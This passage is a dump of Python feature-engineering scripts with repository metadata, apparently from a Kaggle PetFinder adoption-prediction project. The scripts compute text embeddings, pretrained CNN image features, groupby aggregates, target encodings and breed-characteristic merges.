0.9927\n vec = vec + model.wv[word_]\n continue\n word_ = lc.stem(word)\n if word_ in model: # 0.9932\n vec = vec + model.wv[word_]\n continue\n word_ = sb.stem(word)\n if word_ in model: # 0.9933\n vec = vec + model.wv[word_]\n continue\n else:\n n_skip += 1\n continue\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"{}{}\".format(name, i) for i in range(1, model.vector_size + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n del model;\n gc.collect()\n\n return result\n\n\nwith timer('merge additional files'):\n train = merge_breed_name(train)\n\nwith timer('metadata'):\n # TODO: parallelization\n meta_parser = MetaDataParser()\n sentiment_features = meta_parser.sentiment_files['sentiment_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=True))\n meta_parser.sentiment_files = pd.concat([meta_parser.sentiment_files, sentiment_features], axis=1, sort=False)\n meta_features = meta_parser.metadata_files['metadata_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=False))\n meta_parser.metadata_files = pd.concat([meta_parser.metadata_files, meta_features], axis=1, sort=False)\n\n stats = ['mean', 'min', 'max', 'median']\n columns = [c for c in sentiment_features.columns if c != 'sentiment_text']\n g = meta_parser.sentiment_files[list(sentiment_features.columns) + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\n columns = [c for c in meta_features.columns if c != 'annots_top_desc']\n g = meta_parser.metadata_files[columns + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\nwith timer('metadata, annots_top_desc'):\n meta_features = meta_parser.metadata_files[['PetID', 'annots_top_desc']]\n meta_features = meta_features.groupby('PetID')['annots_top_desc'].sum().reset_index()\n train = train.merge(meta_features, how='left', on='PetID')\n\n sentiment_features = meta_parser.sentiment_files[['PetID', 'sentiment_text']]\n sentiment_features = sentiment_features.groupby('PetID')['sentiment_text'].sum().reset_index()\n train = train.merge(sentiment_features, how='left', on='PetID')\n\n train['desc'] = ''\n for c in ['BreedName_main_breed', 'BreedName_second_breed', 'annots_top_desc', 'sentiment_text']:\n train['desc'] += ' ' + train[c].astype(str)\n\nw2v_params = {\n \"size\": 300,\n \"window\": 5,\n \"max_vocab_size\": 20000,\n \"seed\": 0,\n \"min_count\": 10,\n \"workers\": 1\n }\n\nwith timer('quora fasttext meta'):\n embedding = \"../../input/quora-embedding/GoogleNews-vectors-negative300.bin\"\n model = KeyedVectors.load_word2vec_format(embedding, binary=True)\n X = selftrain_w2v(train[\"Description_Emb\"], model, embedding, w2v_params, name=\"quora_fasttext_selftrain\")\n X.to_feather(\"../feature/quora_fasttext_selftrain.feather\")\n\nwith timer('quora fasttext meta'):\n train[\"desc_emb\"] = [analyzer_embed(text) for text in train[\"desc\"]]\n X_meta = selftrain_w2v(train[\"desc_emb\"], model, embedding, w2v_params, name=\"quora_fasttext_selftrain_meta\")\n X_meta.to_feather(\"../feature/quora_fasttext_selftrain_meta.feather\")\n\n" }, { "alpha_fraction": 0.5455659627914429, "alphanum_fraction": 0.5611885190010071, "avg_line_length": 41.67973709106445, "blob_id": "e72f718944aa6fb0bd9486dc9abcf694e16d07ca", "content_id": "1ecb0e69ae4aa75e435fd439c7bc22ab2fc22df4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6529, "license_type": "permissive", "max_line_length": 120, "num_lines": 153, "path": "/code/fe/8cnn_pretrained.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from keras import backend as K\nfrom keras.applications.densenet import preprocess_input, DenseNet121\nfrom keras.applications.vgg16 import VGG16\nfrom keras.applications.resnet50 import ResNet50\nfrom keras.applications import xception, inception_v3\nfrom keras.layers import GlobalAveragePooling2D, Input, Lambda, AveragePooling1D\nfrom keras.models import Model\nfrom utils import *\n\n\n# with timer('vgg16'):\n# pet_ids = train['PetID'].values\n# n_batches = len(pet_ids) // batch_size + 1\n\n# inp = Input((256, 256, 3))\n# backbone = VGG16(input_tensor=inp,\n# weights='../input/keras-pretrained-models/vgg16_weights_tf_dim_ordering_tf_kernels_notop.h5',\n# include_top=False)\n# x = backbone.output\n# x = GlobalAveragePooling2D()(x)\n# x = Lambda(lambda x: K.expand_dims(x, axis=-1))(x)\n# x = AveragePooling1D(4)(x)\n# out = Lambda(lambda x: x[:, :, 0])(x)\n# m = Model(inp, out)\n\n# features = {}\n# for b in range(n_batches):\n# start = b * batch_size\n# end = (b + 1) * batch_size\n# batch_pets = pet_ids[start: end]\n# batch_images = np.zeros((len(batch_pets), img_size, img_size, 3))\n# for i,pet_id in enumerate(batch_pets):\n# try:\n# batch_images[i] = load_image('../input/petfinder-adoption-prediction/train_images/', pet_id)\n# except:\n# try:\n# batch_images[i] = load_image('../input/petfinder-adoption-prediction/test_images/', pet_id)\n# except:\n# pass\n# batch_preds = m.predict(batch_images)\n# for i, pet_id in enumerate(batch_pets):\n# features[pet_id] = batch_preds[i]\n# X = pd.DataFrame.from_dict(features, orient='index')\n# X = X.rename(columns=lambda i: f'vgg16_{i}').reset_index(drop=True)\n# train = pd.concat([train, X], axis=1)\n\n# with timer('resnet50'):\n# pet_ids = train['PetID'].values\n# n_batches = len(pet_ids) // batch_size + 1\n\n# inp = Input((256, 256, 3))\n# backbone = ResNet50(input_tensor=inp,\n# weights='../input/keras-pretrained-models/resnet50_weights_tf_dim_ordering_tf_kernels_notop.h5',\n# include_top=False)\n# x = backbone.output\n# x = GlobalAveragePooling2D()(x)\n# x = Lambda(lambda x: K.expand_dims(x, axis=-1))(x)\n# x = AveragePooling1D(4)(x)\n# out = Lambda(lambda x: x[:, :, 0])(x)\n# m = Model(inp, out)\n\n# features = {}\n# for b in range(n_batches):\n# start = b * batch_size\n# end = (b + 1) * batch_size\n# batch_pets = pet_ids[start: end]\n# batch_images = np.zeros((len(batch_pets), img_size, img_size, 3))\n# for i,pet_id in enumerate(batch_pets):\n# try:\n# batch_images[i] = load_image('../input/petfinder-adoption-prediction/train_images/', pet_id)\n# except:\n# try:\n# batch_images[i] = load_image('../input/petfinder-adoption-prediction/test_images/', pet_id)\n# except:\n# pass\n# batch_preds = m.predict(batch_images)\n# for i, pet_id in enumerate(batch_pets):\n# features[pet_id] = batch_preds[i]\n# X = pd.DataFrame.from_dict(features, orient='index')\n# X = X.rename(columns=lambda i: f'resnet50_{i}').reset_index(drop=True)\n# train = pd.concat([train, X], axis=1)\n\n# with timer('xception'):\n# pet_ids = train['PetID'].values\n# n_batches = len(pet_ids) // batch_size + 1\n\n# inp = Input((256, 256, 3))\n# backbone = xception.Xception(input_tensor=inp,\n# weights='../input/keras-pretrained-models/xception_weights_tf_dim_ordering_tf_kernels_notop.h5',\n# include_top=False)\n# x = backbone.output\n# x = GlobalAveragePooling2D()(x)\n# x = Lambda(lambda x: K.expand_dims(x, axis=-1))(x)\n# x = AveragePooling1D(4)(x)\n# out = Lambda(lambda x: x[:, :, 0])(x)\n# m = Model(inp, out)\n\n# features = {}\n# for b in range(n_batches):\n# start = b * batch_size\n# end = (b + 1) * batch_size\n# batch_pets = pet_ids[start: end]\n# batch_images = np.zeros((len(batch_pets), img_size, img_size, 3))\n# for i,pet_id in enumerate(batch_pets):\n# try:\n# batch_images[i] = load_image('../input/petfinder-adoption-prediction/train_images/', pet_id)\n# except:\n# try:\n# batch_images[i] = load_image('../input/petfinder-adoption-prediction/test_images/', pet_id)\n# except:\n# pass\n# batch_preds = m.predict(batch_images)\n# for i, pet_id in enumerate(batch_pets):\n# features[pet_id] = batch_preds[i]\n# X = pd.DataFrame.from_dict(features, orient='index')\n# X = X.rename(columns=lambda i: f'xception_{i}').reset_index(drop=True)\n# train = pd.concat([train, X], axis=1)\n\n# with timer('inception'):\n# pet_ids = train['PetID'].values\n# n_batches = len(pet_ids) // batch_size + 1\n\n# inp = Input((256, 256, 3))\n# backbone = inception_v3.InceptionV3(input_tensor=inp,\n# weights='../input/keras-pretrained-models/inception_v3_weights_tf_dim_ordering_tf_kernels_notop.h5',\n# include_top=False)\n# x = backbone.output\n# x = GlobalAveragePooling2D()(x)\n# x = Lambda(lambda x: K.expand_dims(x, axis=-1))(x)\n# x = AveragePooling1D(4)(x)\n# out = Lambda(lambda x: x[:, :, 0])(x)\n# m = Model(inp, out)\n\n# features = {}\n# for b in range(n_batches):\n# start = b * batch_size\n# end = (b + 1) * batch_size\n# batch_pets = pet_ids[start: end]\n# batch_images = np.zeros((len(batch_pets), img_size, img_size, 3))\n# for i,pet_id in enumerate(batch_pets):\n# try:\n# batch_images[i] = load_image('../input/petfinder-adoption-prediction/train_images/', pet_id)\n# except:\n# try:\n# batch_images[i] = load_image('../input/petfinder-adoption-prediction/test_images/', pet_id)\n# except:\n# pass\n# batch_preds = m.predict(batch_images)\n# for i, pet_id in enumerate(batch_pets):\n# features[pet_id] = batch_preds[i]\n# X = pd.DataFrame.from_dict(features, orient='index')\n# X = X.rename(columns=lambda i: f'inception_v3_{i}').reset_index(drop=True)\n# train = pd.concat([train, X], axis=1)" }, { "alpha_fraction": 0.4736842215061188, "alphanum_fraction": 0.47549909353256226, "avg_line_length": 31.431371688842773, "blob_id": "47eac01f90c8e301ce6117a7fa1457d45c097a08", "content_id": "05da10669ec6c2e808c114a18d7a67d30403a600", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1653, "license_type": "permissive", "max_line_length": 76, "num_lines": 51, "path": "/code/fe/32agg_var.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\nwith timer('aggregation'):\n orig_cols = train.columns\n stats = ['var']\n groupby_dict = [\n {\n 'key': ['RescuerID'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n {\n 'key': ['RescuerID', 'State'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n {\n 'key': ['RescuerID', 'Type'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1', 'Breed2'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n {\n 'key': ['State'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n {\n 'key': ['MaturitySize'],\n 'var': ['Age', 'Quantity', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n ]\n\n groupby = GroupbyTransformer(param_dict=groupby_dict)\n train = groupby.transform(train)\n diff = DiffGroupbyTransformer(param_dict=groupby_dict)\n train = diff.transform(train)\n ratio = RatioGroupbyTransformer(param_dict=groupby_dict)\n train = ratio.transform(train)\n new_cols = [c for c in train.columns if c not in orig_cols]\n train[new_cols].to_feather(\"../feature/agg_var.feather\")" }, { "alpha_fraction": 0.6754098534584045, "alphanum_fraction": 0.693989098072052, "avg_line_length": 35.63999938964844, "blob_id": "630c015670adcbcf5328c755442eda373780cd9d", "content_id": "a19b20d51d9d9099a0e4b5be755af09c34a20f40", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 915, "license_type": "permissive", "max_line_length": 76, "num_lines": 25, "path": "/code/fe/7target_encoding_breed1.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import feather\nfrom category_encoders import *\nfrom sklearn.model_selection import StratifiedKFold\nfrom utils import *\n\ntrain[\"Breed1\"] = train[\"Breed1\"].astype(str) + \"e\"\ntest[\"Breed1\"] = test[\"Breed1\"].astype(str) + \"e\"\n\nn_splits = 5\nkfold = StratifiedKFold(n_splits=n_splits, shuffle=True, random_state=1337)\ny_train = train['AdoptionSpeed'].values\noof_enc = np.zeros(len(train))\ntest_enc = np.zeros(len(test))\n\nfor train_index, valid_index in kfold.split(train, y_train):\n X_tr, y_tr = train.iloc[train_index, :], y_train[train_index]\n X_val, y_val = train.iloc[valid_index, :], y_train[valid_index]\n\n enc = TargetEncoder(return_df=False, smoothing=1.0)\n enc.fit(X_tr[\"Breed1\"].values, y_tr)\n\n oof_enc[valid_index] = enc.transform(X_val[\"Breed1\"].values).reshape(-1)\n test_enc += enc.transform(test[\"Breed1\"].values).reshape(-1) / n_splits\n\nnp.save(\"../feature/breed1_target_enc.npy\", oof_enc)" }, { "alpha_fraction": 0.6722221970558167, "alphanum_fraction": 0.6819444298744202, "avg_line_length": 48.68965530395508, "blob_id": "204ccde1cf66828a33c52f2c00200a456e394a70", "content_id": "5baa1f2b136376bdf42de06b07b110308751ec25", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1440, "license_type": "permissive", "max_line_length": 159, "num_lines": 29, "path": "/code/fe/57best_in_show.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nfrom utils import *\n\ndf = pd.read_csv(\"../feature/best_in_show.csv\")\ndf[\"food_costs_per_year\"] = df[\"food_costs_per_year\"].str.replace(\"$\", \"\").str.replace(\",\", \"\").fillna(-999).astype(\"int32\").replace(-999, np.nan)\ndf[list(df.columns.drop([\"Dog breed\", \"category\", \"size_category\"]))] = df[list(df.columns.drop([\"Dog breed\", \"category\", \"size_category\"]))].astype(\"float32\")\nfor c in [\"category\", \"size_category\"]:\n df[c] = LabelEncoder().fit_transform(df[c].fillna(\"nan\").values)\nbreed = pd.read_csv(\"../../input/petfinder-adoption-prediction/breed_labels.csv\")\n\nnew_cols = list(df.columns.drop(\"Dog breed\"))\nbreed = breed.merge(df, how=\"left\", left_on=\"BreedName\", right_on=\"Dog breed\")\n\norig_cols = train.columns\ntrain = train.merge(breed[[\"BreedID\"]+new_cols], how=\"left\", left_on=\"fix_Breed1\", right_on=\"BreedID\").drop(\"BreedID\", axis=1)\ndic = {}\nfor c in new_cols:\n dic[c] = c + \"_main\"\ntrain = train.rename(columns=dic)\n\ntrain = train.merge(breed[[\"BreedID\"]+new_cols], how=\"left\", left_on=\"fix_Breed2\", right_on=\"BreedID\")\ntrain = train.rename(columns={\"BreedCatRank\": \"BreedCatRank_second\", \"BreedDogRank\": \"BreedDogRank_second\"}).drop(\"BreedID\", axis=1)\nfor c in new_cols:\n dic[c] = c + \"_second\"\ntrain = train.rename(columns=dic)\n\nnew_cols = [c for c in train.columns if c not in orig_cols]\ntrain[new_cols].to_feather(\"../feature/best_in_show.feather\")" }, { "alpha_fraction": 0.6334661245346069, "alphanum_fraction": 0.6553784608840942, "avg_line_length": 37.69230651855469, "blob_id": "0f00545e58903c01866c0969a918fb1f7dcb1458", "content_id": "42600b2b7493648e3f3c7a1acb46c70895abf6f7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 502, "license_type": "permissive", "max_line_length": 81, "num_lines": 13, "path": "/code/fe/54interaction.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\ndef get_interactions(train):\n interaction_features = ['Age', 'Quantity', 'Fee', 'PhotoAmt', 'MaturitySize']\n for (c1, c2) in combinations(interaction_features, 2):\n train[c1 + '_mul_' + c2] = train[c1] * train[c2]\n train[c1 + '_div_' + c2] = train[c1] / train[c2]\n return train\n\norig_cols = train.columns\ntrain = get_interactions(train)\nnew_cols = [c for c in train.columns if c not in orig_cols]\ntrain[new_cols].to_feather(\"../feature/interactions.feather\")" }, { "alpha_fraction": 0.6933149695396423, "alphanum_fraction": 0.698828399181366, "avg_line_length": 45.83871078491211, "blob_id": "c7ef58d6147a4e0b2d0cc6ef9f0661fc549cb131", "content_id": "5bff99e75b5082cad25d947409e878d97377fee5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1451, "license_type": "permissive", "max_line_length": 132, "num_lines": 31, "path": "/code/fe/59character.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\nfrom sklearn.preprocessing import LabelEncoder\n\nchar_cat = pd.read_csv(\"../feature/cat_breed_characteristics.csv\")\nchar_dog = pd.read_csv(\"../feature/dog_breed_characteristics.csv\")\nchar = char_cat.append(char_dog).reset_index(drop=True)\ncat = [\"Fur\", \"Group1\", \"Group2\", \"LapCat\"]\nadv_cat = [\"BreedName\", \"Temperment\", \"AltBreedName\"]\nchar[list(char.columns.drop(cat+adv_cat))] = char[list(char.columns.drop(cat+adv_cat))].astype(\"float32\")\nfor c in cat:\n char[c] = LabelEncoder().fit_transform(char[c].fillna(\"nan\").values)\nbreed = pd.read_csv(\"../../input/petfinder-adoption-prediction/breed_labels.csv\")\n\nbreed = breed.merge(char, how=\"left\", left_on=\"BreedName\", right_on=\"BreedName\")\nnew_cols = list(char.columns.drop([\"BreedName\", \"AltBreedName\"]))\n\norig_cols = train.columns\ntrain = train.merge(breed[[\"BreedID\"]+new_cols], how=\"left\", left_on=\"fix_Breed1\", right_on=\"BreedID\").drop(\"BreedID\", axis=1)\ndic = {}\nfor c in new_cols:\n dic[c] = c + \"_main\"\ntrain = train.rename(columns=dic)\n\ntrain = train.merge(breed[[\"BreedID\"]+new_cols], how=\"left\", left_on=\"fix_Breed2\", right_on=\"BreedID\")\ntrain = train.rename(columns={\"BreedCatRank\": \"BreedCatRank_second\", \"BreedDogRank\": \"BreedDogRank_second\"}).drop(\"BreedID\", axis=1)\nfor c in new_cols:\n dic[c] = c + \"_second\"\ntrain = train.rename(columns=dic)\n\nnew_cols = [c for c in train.columns if c not in orig_cols]\ntrain[new_cols].to_feather(\"../feature/char.feather\")" }, { "alpha_fraction": 0.6427546739578247, "alphanum_fraction": 0.6571018695831299, "avg_line_length": 28.08333396911621, "blob_id": "07cfa19f83bd0c30d250dbfed287b5f6a4531b34", "content_id": "016ebd89f37e0c881a8443ac534b56c9baa95572", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 697, "license_type": "permissive", "max_line_length": 91, "num_lines": 24, "path": "/code/fe/24spacy_finetune.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import spacy\nfrom spacy.gold import GoldParse\nfrom utils import *\n\n\ndef spacy_d2v(train_text):\n nlp = spacy.load('en_core_web_md')\n new_tags = [None] * len(train_text)\n new_tags[0] = 'VBP'\n gold = GoldParse(train_text, tags=new_tags)\n nlp.update(train_text, gold, update_shared=True)\n\n result = np.array([nlp(text).vector for text in train[\"Description\"].values])\n\n d2v_cols = [\"spacy_d2v_md_finetune{}\".format(i) for i in range(1, result.shape[1] + 1)]\n result = pd.DataFrame(result)\n result.columns = d2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n result = spacy_d2v(train[\"Description\"])\n result.to_feather(\"../feature/spacy_d2v_md_finetune.feather\")" }, { "alpha_fraction": 0.6132686138153076, "alphanum_fraction": 0.6364616751670837, "avg_line_length": 27.96875, "blob_id": "cd81f46822517025e84870496f77b0ee1a1d9feb", "content_id": "6baa87c37439895ea64018d3a865cf2c6eb1d05c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1854, "license_type": "permissive", "max_line_length": 83, "num_lines": 64, "path": "/code/fe/16spacy_w2v.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import spacy\nfrom utils import *\n\n\ndef spacy_d2v(train_text):\n nlp = spacy.load('en_core_web_md')\n result = np.array([nlp(text).vector for text in train[\"Description\"].values])\n\n d2v_cols = [\"spacy_d2v_md{}\".format(i) for i in range(1, result.shape[1] + 1)]\n result = pd.DataFrame(result)\n result.columns = d2v_cols\n\n return result\n\n\ndef spacy_d2v(train_text):\n nlp = spacy.load('en_core_web_sm')\n result = np.zeros((len(train_text), 384))\n for i, text in enumerate(train[\"Description\"].values):\n d2v = nlp(text).vector\n if len(d2v) != 0:\n result[i] = d2v\n\n d2v_cols = [\"spacy_d2v_sm{}\".format(i) for i in range(1, result.shape[1] + 1)]\n result = pd.DataFrame(result)\n result.columns = d2v_cols\n\n return result\n\n\ndef spacy_d2v(train_text):\n nlp = spacy.load('en_core_web_lg')\n result = np.array([nlp(text).vector for text in train[\"Description\"].values])\n\n d2v_cols = [\"spacy_d2v_lg{}\".format(i) for i in range(1, result.shape[1] + 1)]\n result = pd.DataFrame(result)\n result.columns = d2v_cols\n\n return result\n\n\ndef spacy_d2v(train_text):\n nlp = spacy.load('en_vectors_web_lg')\n result = np.array([nlp(text).vector for text in train[\"Description\"].values])\n\n d2v_cols = [\"spacy_d2v_vlg{}\".format(i) for i in range(1, result.shape[1] + 1)]\n result = pd.DataFrame(result)\n result.columns = d2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n result = spacy_d2v(train[\"Description\"])\n result.to_feather(\"../feature/spacy_d2v_md.feather\")\n\n result = spacy_d2v(train[\"Description\"])\n result.to_feather(\"../feature/spacy_d2v_sm.feather\")\n\n result = spacy_d2v(train[\"Description\"])\n result.to_feather(\"../feature/spacy_d2v_lg.feather\")\n\n result = spacy_d2v(train[\"Description\"])\n result.to_feather(\"../feature/spacy_d2v_vlg.feather\")\n" }, { "alpha_fraction": 0.5138674974441528, "alphanum_fraction": 0.5192604064941406, "avg_line_length": 34.10810852050781, "blob_id": "66e854f4b0896fb44d8ea1ef2c62ee66200402c9", "content_id": "6bcc87d89a221820f168771d205d7ff58b09fe5f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1298, "license_type": "permissive", "max_line_length": 76, "num_lines": 37, "path": "/code/fe/9agg_v2.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\nwith timer('aggregation'):\n orig_cols = train.columns\n stats = ['mean', 'sum', 'median', 'min', 'max']\n groupby_dict = [\n {\n 'key': ['RescuerID', 'Type', 'Breed1'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': ['count'] + stats\n },\n {\n 'key': ['RescuerID', 'Type', 'Breed1', 'Breed2'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': ['count'] + stats\n },\n {\n 'key': ['Type', 'Breed1', 'State'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1', 'Breed2', 'State'],\n 'var': ['Age', 'Quantity', 'MaturitySize', 'Sterilized', 'Fee'],\n 'agg': stats\n },\n ]\n\n groupby = GroupbyTransformer(param_dict=groupby_dict)\n train = groupby.transform(train)\n diff = DiffGroupbyTransformer(param_dict=groupby_dict)\n train = diff.transform(train)\n ratio = RatioGroupbyTransformer(param_dict=groupby_dict)\n train = ratio.transform(train)\n new_cols = [c for c in train.columns if c not in orig_cols]\n\ntrain[new_cols].to_feather(\"../feature/agg_v2.feather\")" }, { "alpha_fraction": 0.6884469985961914, "alphanum_fraction": 0.6884469985961914, "avg_line_length": 44.956520080566406, "blob_id": "a577aef498cb3a70479873c2a43435322677f759", "content_id": "c93f3aae686d6061aef777a0fcbed1f5b4ade5ce", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1056, "license_type": "permissive", "max_line_length": 97, "num_lines": 23, "path": "/code/fe/55aggregation_diff.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\nimport feather\n\nall_data = feather.read_dataframe(\"../from_kernel/all_data.feather\")\nt_cols = np.load(\"../from_kernel/t_cols.npy\")\n\nmean_cols = [c for c in t_cols if re.match(\"mean_\\w*groupby\", c)]\nmedian_cols = [c.replace(\"mean\", \"median\") for c in mean_cols]\nmin_cols = [c.replace(\"mean\", \"min\") for c in mean_cols]\nmax_cols = [c.replace(\"mean\", \"max\") for c in mean_cols]\n\nmax_min_cols = [c.replace(\"mean\", \"max_diff_min\") for c in mean_cols]\nmax_mean_cols = [c.replace(\"mean\", \"max_diff_mean\") for c in mean_cols]\nmean_min_cols = [c.replace(\"mean\", \"mean_diff_min\") for c in mean_cols]\n\ndf_ = pd.DataFrame(all_data[max_cols].values - all_data[min_cols].values, columns=max_min_cols)\ndf_.to_feather(\"../feature/max_diff_min.feather\")\n\ndf_ = pd.DataFrame(all_data[max_cols].values - all_data[mean_cols].values, columns=max_mean_cols)\ndf_.to_feather(\"../feature/max_diff_mean.feather\")\n\ndf_ = pd.DataFrame(all_data[mean_cols].values - all_data[min_cols].values, columns=mean_min_cols)\ndf_.to_feather(\"../feature/mean_diff_min.feather\")" }, { "alpha_fraction": 0.517496645450592, "alphanum_fraction": 0.5289367437362671, "avg_line_length": 26.537036895751953, "blob_id": "9ffbc12614aeb75213aea1ed7b250a077270ffea", "content_id": "ad1bed8649cb0959107f9aacd800f727ad420423", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1486, "license_type": "permissive", "max_line_length": 89, "num_lines": 54, "path": "/code/fe/23flair_bert.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from flair.data import Sentence\nfrom flair.embeddings import BertEmbeddings\nfrom utils import *\n\n\ndef w2v_flair(train_text, embedding, name):\n result = []\n for text in train_text:\n if len(text) == 0:\n result.append(np.zeros(embedding.embedding_length))\n continue\n\n n_w = 0\n try:\n sentence = Sentence(text)\n embedding.embed(sentence)\n except:\n try:\n sentence = Sentence(\" \".join(text.split()[:512]))\n embedding.embed(sentence)\n except:\n result.append(np.zeros(embedding.embedding_length))\n for token in sentence:\n vec_ = np.array(token.embedding.detach().numpy())\n if np.sum(vec_) == 0:\n continue\n if n_w == 0:\n vec = vec_\n else:\n vec = vec + vec_\n n_w += 1\n\n if n_w == 0: n_w = 1\n vec = vec / n_w\n result.append(vec)\n\n w2v_cols = [\"{}{}\".format(name, i) for i in range(1, embedding.embedding_length + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n @contextmanager\n def timer(name):\n t0 = time.time()\n yield\n\n\n with timer('bert'):\n embedding = BertEmbeddings('bert-base-uncased')\n result = w2v_flair(train[\"Description\"], embedding, name=\"bert\")\n result.to_feather(\"../feature/bert_flair.feather\")" }, { "alpha_fraction": 0.5329664349555969, "alphanum_fraction": 0.5444669127464294, "avg_line_length": 44.23422622680664, "blob_id": "e7825e795bd8c01ad34fb37054a778a8757661a5", "content_id": "7f9297e8961005f73304c2893694046f52c6b008", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 133260, "license_type": "permissive", "max_line_length": 169, "num_lines": 2916, "path": "/code/stack-480-speedup-128-10-128.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n'''\n- reordered process \n- replace num_images with PhotoAmt\n'''\nimport itertools\nimport json\nimport gc\nimport glob\nimport multiprocessing\ncpu_count = multiprocessing.cpu_count()\nimport os\nimport time\nimport cv2\nimport random\nimport re\nimport imagehash\nimport nltk\nimport lightgbm as lgb\nimport xgboost as xgb\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport scipy as sp\nimport tensorflow as tf\nimport torch\nfrom scipy.stats import rankdata\nfrom PIL import Image\nfrom multiprocessing import Pool\nfrom pymagnitude import Magnitude\nfrom gensim.models.fasttext import FastText\nfrom gensim.models import word2vec, KeyedVectors\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\nfrom contextlib import contextmanager\nfrom itertools import combinations\nfrom logging import getLogger, Formatter, StreamHandler, FileHandler, INFO\nfrom keras import backend as K\nfrom keras.applications.densenet import preprocess_input as preprocess_input_dense\nfrom keras.applications.densenet import DenseNet121\nfrom keras.applications.inception_resnet_v2 import preprocess_input as preprocess_input_incep\nfrom keras.applications.inception_resnet_v2 import InceptionResNetV2\nfrom keras.layers import GlobalAveragePooling2D, Input, Lambda, AveragePooling1D\nfrom keras.engine.topology import Layer\nfrom keras import initializers, regularizers, constraints\nfrom keras.models import Model\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom keras.callbacks import *\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.layers import Dense, Input, CuDNNLSTM, Embedding, Dropout, CuDNNGRU, Conv1D\nfrom keras.layers import Bidirectional, GlobalMaxPooling1D, concatenate, BatchNormalization, PReLU\nfrom keras.layers import Reshape, Flatten, Concatenate, SpatialDropout1D, GlobalAveragePooling1D, Multiply\nfrom sklearn.decomposition import LatentDirichletAllocation, TruncatedSVD, NMF\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.linear_model import Ridge\nfrom sklearn.metrics import cohen_kappa_score, mean_squared_error\nfrom sklearn.model_selection import GroupKFold, StratifiedKFold, train_test_split\nfrom sklearn.pipeline import make_pipeline, make_union\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.utils.validation import check_is_fitted\nfrom sklearn.feature_extraction.text import _document_frequency\nfrom sklearn.preprocessing import StandardScaler, LabelEncoder\n\n\n# ===============\n# Constants\n# ===============\nCOMPETITION_NAME = 'petfinder-adoption-prediction'\nMODEL_NAME = 'v001'\nlogger = 